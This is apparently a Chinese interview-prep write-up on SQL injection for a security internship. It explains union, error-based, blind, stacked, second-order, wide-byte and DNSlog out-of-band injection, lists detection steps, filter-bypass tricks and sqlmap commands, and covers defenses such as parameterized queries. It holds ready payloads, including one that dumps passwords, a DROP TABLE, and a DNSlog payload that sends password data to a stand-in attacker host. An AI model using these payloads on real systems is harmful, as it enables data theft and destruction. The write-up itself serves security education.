2025年渗透测试面试题总结-某美团-安全工程师实习(题目+回答)

时间:2025-03-25 14:34:34

美团-安全工程师实习

sql注入有哪些
URL如何判断是否存在注入
sql注入防范
DNSlog注入
一、SQL注入攻击类型及原理
1. 联合查询注入(Union-Based Injection)

原理:通过构造UNION SELECT语句合并合法查询与攻击者定义的恶意查询,从而从其他表中提取数据。
示例
/product.php?id=1' UNION SELECT username,password FROM users--+
关键条件

  • 原查询与UNION查询的字段数必须相同。
  • 数据库需返回完整查询结果(非部分截断)。
    检测方法
  • 使用ORDER BY递增数字确定字段数(如ORDER BY 5若报错则字段数小于5)。
  • 通过UNION SELECT NULL,NULL,...测试字段兼容性(部分数据库要求字段类型一致)。
2. 报错注入(Error-Based Injection)

原理:利用数据库函数或语法错误触发显式报错,将敏感数据通过错误信息回显。
常用函数

  • MySQLextractvalue(1,concat(0x7e,(SELECT @@version)))(利用XML解析报错)。
  • SQL ServerCONVERT(int, (SELECT @@version))(类型转换错误)。
    示例
    /search.php?q=1' AND updatexml(1,concat(0x7e,(SELECT user())),1)--+
    优势:无需依赖页面内容显示数据,仅需观察错误信息。
3. 布尔盲注(Boolean-Based Blind Injection)

原理:通过页面返回的布尔状态(真/假)推断数据内容,适用于无报错且无数据回显的场景。
攻击流程

  1. 构造条件语句,如AND 1=1(页面正常)与AND 1=2(页面异常)。
  2. 逐字符猜解数据,如:
    /login.php?user=admin' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--+
    自动化工具:使用sqlmap --technique=B指定布尔盲注测试。
4. 时间盲注(Time-Based Blind Injection)

原理:通过数据库延时函数(如SLEEP())触发响应时间差异,判断注入条件是否成立。
示例
/profile.php?id=1' AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0)--+
(若数据库名首字母ASCII码为115即字母's',则页面响应延迟5秒)。
跨数据库差异

  • MySQLSLEEP(5)
  • PostgreSQLpg_sleep(5)
  • SQL ServerWAITFOR DELAY '0:0:5'
5. 堆叠注入(Stacked Queries Injection)

原理:利用分号;执行多条SQL语句,实现增删改查操作。
示例
/delete.php?id=1'; DROP TABLE users;--+
支持场景

  • PHP + MySQL默认不支持堆叠查询(需使用mysqli_multi_query)。
  • ASP + SQL Server通常支持。
    风险:可直接执行高危操作(如删除表、写入文件)。
6. 二次注入(Second-Order Injection)

原理:攻击数据先被存储(如用户注册),后续在另一个功能中被调用执行。
典型场景

  1. 注册用户名为admin'-- ,前端过滤但未转义。
  2. 密码修改功能调用用户名时触发注入:
    UPDATE users SET password='newpass' WHERE username='admin'-- '
    防御难点:需确保所有涉及数据库读写环节均进行过滤。
7. 宽字节注入(GBK Injection)

原理:利用数据库字符集转换漏洞(如GBK编码),绕过转义符(\)过滤。
示例

  • 输入%bf%27¿'),转义后变为%bf%5c%27(GBK解码为運'),导致单引号逃逸。
    防御:统一使用UTF-8编码,避免多字节字符集。
8. Out-of-Band注入(带外通道注入)

原理:通过DNS、HTTP等外部协议将数据外传,常用于无回显场景。
DNSLog注入示例(详见第四部分):
/api.php?id=1' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test'))--+
依赖条件:数据库需具备外连权限(如MySQL的secure_file_priv为空)。


二、URL注入点检测方法
1. 初步探测:字符逃逸测试

步骤

  1. 在参数后添加单引号'、双引号"、括号)等,观察是否报错或页面内容变化。
  2. 测试注释符:-- (SQL Server)、#(MySQL)、/*(多行注释)。
    示例
    /product.php?id=1' → 返回数据库语法错误。
    /search?q=test" → 页面无结果,可能触发逻辑异常。
2. 逻辑测试:布尔条件验证

方法

  • AND 1=1 → 页面正常(如商品详情正常加载)。
  • AND 1=2 → 页面无数据(如商品消失)。
    进阶
  • 拼接永真/永假条件:OR 'a'='a'AND 'a'='b'
  • 验证数字型/字符型注入:id=2-1(若返回id=1的内容则为数字型)。
3. 时间延迟测试

Payload

  • MySQL:id=1' AND SLEEP(5)--+
  • SQL Server:id=1; WAITFOR DELAY '0:0:5'--
    判断依据:响应时间是否显著增加(需排除网络波动干扰)。
4. 联合查询验证

流程

  1. 使用ORDER BY确定字段数:
    /product.php?id=1 ORDER BY 5--+ → 若报错则字段数小于5。
  2. 构造UNION SELECT验证回显位:
    id=-1' UNION SELECT 1,2,3--+ → 页面显示数字2和3,则为可输出位。
5. 报错函数触发

Payload设计

  • AND updatexml(1,concat(0x7e,(SELECT user())),1) → 显示XPATH syntax error: '~root@localhost'
  • OR exp(~(SELECT * FROM (SELECT version())x)) → 触发双查询报错。
6. 自动化工具辅助

sqlmap命令示例

bashsqlmap -u "http://example.com/product.php?id=1" \ --batch \ --risk=3 \ --level=5 \ --technique=BEUSTQ 

参数说明

  • --technique:指定注入技术(B:布尔盲注, E:报错注入, U:联合查询, S:堆叠注入, T:时间盲注, Q:内联查询)。
  • --risk=3:允许使用高风险Payload(如OR条件)。
7. 绕过过滤技巧

常见绕过方法

  • 大小写混写UnIoN SeLeCt
  • URL编码%20替换空格,%27替换单引号。
  • 双写关键词UNIUNIONON SELECT(若过滤UNION则为UNIONON)。
  • 注释符分割SEL/**/ECT

三、SQL注入防御策略
1. 参数化查询(Prepared Statements)

原理:将SQL语句与数据分离,数据库预编译模板后仅处理参数值。
代码示例(Python)

pythoncursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

支持框架

  • Java:PreparedStatement
  • PHP:PDO($stmt->bindParam())。
2. ORM框架使用

优势:通过对象映射避免手动拼接SQL。
示例

  • Django ORM:User.objects.filter(id=user_id)
  • Hibernate:session.createQuery("FROM User WHERE id = :id").setParameter("id", user_id)
3. 输入验证与过滤

策略

  • 白名单验证:如数字型参数仅允许[0-9]
  • 黑名单过滤:禁用UNIONSELECT等关键词(需谨慎,易被绕过)。
4. 最小权限原则

数据库账号配置

  • 禁止使用rootsa账号连接应用。
  • 限制权限:仅授予SELECTINSERT等必要权限,禁用FILEEXECUTE
5. 错误处理与日志

要求

  • 前端返回通用错误信息(如“系统错误”)。
  • 日志记录完整错误详情,但避免泄露数据库结构。
6. Web应用防火墙(WAF)

功能

  • 拦截包含UNIONSLEEP等特征的请求。
  • 配置正则规则:如/\bUNION\b.*\bSELECT\b/i
7. 安全编码规范

规则示例

  • 禁止动态拼接SQL(如"SELECT * FROM " + tableName)。
  • 统一使用参数化接口(如MyBatis #{}占位符)。

四、DNSLog注入详解(1000字)
1. 攻击原理

流程

  1. 构造Payload触发数据库发起DNS查询。
  2. 查询内容包含敏感数据(如SELECT user())。
  3. 攻击者通过DNS日志获取数据。

示例Payload(MySQL)

sql' AND LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.dnslog-attacker.com\\test'))--+ 

关键函数

  • LOAD_FILE():读取文件(需FILE权限)。
  • CONCAT():拼接域名和数据。
2. 适用场景
  • 目标数据库允许外连(secure_file_priv为空)。
  • 注入点为盲注且无回显。
3. 检测与利用工具
  • DNSLog平台:ceye.io 、dnslog.cn (提供临时域名收集查询记录)。
  • sqlmap集成
bashsqlmap -u "http://example.com/vuln.php?id=1" \ --dns-domain dnslog-attacker.com \ --technique=BEUST 
4. 防御措施
  • 限制数据库外连权限(配置防火墙规则)。
  • 禁用FILE权限和危险函数(如LOAD_FILE())。
  • 过滤输入中的特殊字符(如\.)。